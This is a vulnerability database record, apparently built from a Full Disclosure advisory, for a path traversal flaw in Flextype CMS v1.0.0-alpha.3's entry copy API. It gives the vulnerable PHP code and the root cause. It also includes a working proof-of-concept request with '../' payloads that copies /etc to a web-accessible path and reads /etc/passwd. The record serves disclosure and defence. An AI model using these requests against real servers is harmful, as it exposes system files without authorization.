GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GCVE-1988-2026-0180

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the Entries copy functionality. An authenticated remote attacker can supply directory traversal sequences within both the source id and destination new_id parameters submitted to /api/v1/entries/copy. Flextype constructs entry directory paths by directly concatenating the supplied entry identifier with the configured entries directory without sufficiently canonicalizing the resulting path or verifying that it remains within the intended project/entries directory. As a result, an attacker can escape the configured entries directory for both the source and destination of a copy operation. Testing confirmed that a source identifier containing ../../../etc resolved to the system /etc directory and that a destination identifier containing ../../etc-copy caused the directory to be copied outside project/entries to /app/etc-copy. The copied /etc/passwd file was subsequently accessible over HTTP from /etc-copy/passwd, resulting in disclosure of operating-system files that were not intended to be exposed by the web application. Impact Successful exploitation allows an authenticated remote attacker to escape the Flextype entries directory and use filesystem directories outside the intended content storage location as the source or destination of entry copy operations. Testing demonstrated that the vulnerability can copy operating-system files from /etc into a web-accessible location under the application root. This resulted in remote disclosure of /etc/passwd. Depending on filesystem permissions, application deployment layout, and web-server configuration, the vulnerability may allow disclosure of sensitive application and operating-system files by copying otherwise inaccessible directories into web-accessible locations. The destination traversal also provides a filesystem write/copy primitive outside the intended project/entries security boundary. This primitive may increase the impact of other vulnerabilities when chained with functionality capable of interpreting or executing attacker-controlled files. DetailsVulnerable Entry Copy Implementation The Flextype copy() method receives the existing entry identifier and new entry identifier and eventually passes both values to getDirectoryLocation() : public function copy(string $id, string $newID): bool { // Collections validation helper. // Check if collections are identical. $isValidCollections = function ($id, $newID) { $collectionForCurrentEntry = $this->getCollectionOptions($id); $collectionForNewEntry = $this->getCollectionOptions($newID); $result = true; if (! isset($collectionForCurrentEntry['filename']) || ! isset($collectionForCurrentEntry['extension']) || ! isset($collectionForCurrentEntry['serializer']) || ! isset($collectionForNewEntry['filename']) || ! isset($collectionForNewEntry['extension']) || ! isset($collectionForNewEntry['serializer'])) { $result = false; } if (($collectionForCurrentEntry['filename'] != $collectionForNewEntry['filename']) || ($collectionForCurrentEntry['extension'] != $collectionForNewEntry['extension']) || ($collectionForCurrentEntry['serializer'] != $collectionForNewEntry['serializer'])) { $result = false; } return $result; }; if (! $isValidCollections($id, $newID)) { return false; } $this->registry()->set('methods.copy', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, 'newID' => $newID, ], 'result' => null, ]); emitter()->emit('onEntriesCopy'); if (! is_null($this->registry()->get('methods.copy.result')) && is_bool($this->registry()->get('methods.copy.result'))) { return $this->registry()->get('methods.copy.result'); } return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); } The getDirectoryLocation() method constructs the filesystem path using the supplied identifier: public function getDirectoryLocation(string $id): string { $this->registry()->set('methods.getDirectoryLocation', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, ], 'result' => null, ]); emitter()->emit('onEntriesGetDirectoryLocation'); if (! is_null($this->registry()->get('methods.getDirectoryLocation.result')) && is_string($this->registry()->get('methods.getDirectoryLocation.result'))) { return $this->registry()->get('methods.getDirectoryLocation.result'); } return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); } The supplied identifier is appended directly to: FLEXTYPE_PATH_PROJECT/<entries-directory>/ without enforcing that the canonicalized resulting path remains beneath the intended entries directory. Consequently, traversal sequences within an entry identifier can escape the expected directory. Proof of Concept — Escape Source and Destination Directories The following request supplies traversal sequences for both the source and destination identifiers: PUT /api/v1/entries/copy HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"} Given an entries directory rooted at: /app/project/entries the source: ../../../etc escapes the entries directory and resolves to: /etc The destination: ../../etc-copy similarly escapes the entries directory and resolves to: /app/etc-copy The HTTP endpoint returned: HTTP/1.1 404 Not Found Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close X-Powered-By: PHP/8.1.34 Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Expose: Access-Control-Allow-Credentials: false Despite the HTTP 404 response, filesystem inspection confirmed that the copy operation occurred. Proof of Concept — Filesystem Evidence Following the request, /etc/passwd existed beneath the attacker-selected escaped destination: realpath: /app/etc-copy/passwd --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- The resulting path: /app/etc-copy/passwd is outside the intended: /app/project/entries directory. This demonstrates that the traversal sequences affected the underlying filesystem operation despite the API returning HTTP 404. Proof of Concept — Remote File Disclosure The copied file could subsequently be retrieved directly through the web server: GET /etc-copy/passwd HTTP/1.1 Host: 127.0.0.1:18080 The application returned the copied operating-system file: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close Content-Length: 839 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- Root Cause The root cause is insufficient validation and canonicalization of entry identifiers before they are incorporated into filesystem paths. The vulnerable path construction is: return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); The resulting path is then used directly by the copy operation: return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); Neither the source nor destination is shown being canonicalized and checked to ensure it remains beneath the configured entries directory before the filesystem copy operation occurs. This allows ../ path components supplied through the entry identifiers to escape the intended filesystem boundary. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version CPE status
Flextype Flextype Affected: unknown
guessed Create a notification for this product.
Credits
Relationships
analysis GCVE-1988-2026-0180 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n    // Collections validation helper.\n    // Check if collections are identical.\n    $isValidCollections = function ($id, $newID) {\n        $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n        $collectionForNewEntry     = $this-\u003egetCollectionOptions($newID);\n\n        $result = true;\n\n        if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n            ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n            ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        return $result;\n    };\n\n    if (! $isValidCollections($id, $newID)) {\n        return false;\n    }\n\n    $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n            \u0027newID\u0027 =\u003e $newID,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n        is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n        return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n    }\n\n    return filesystem()\n        -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n        -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n    $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n        is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n        return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n    }\n\n    return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n           $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n           $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n       $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n       $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n    -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n    -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/22"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/22"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0180",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
            "automated": true,
            "contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:22:38Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0180"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0180"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…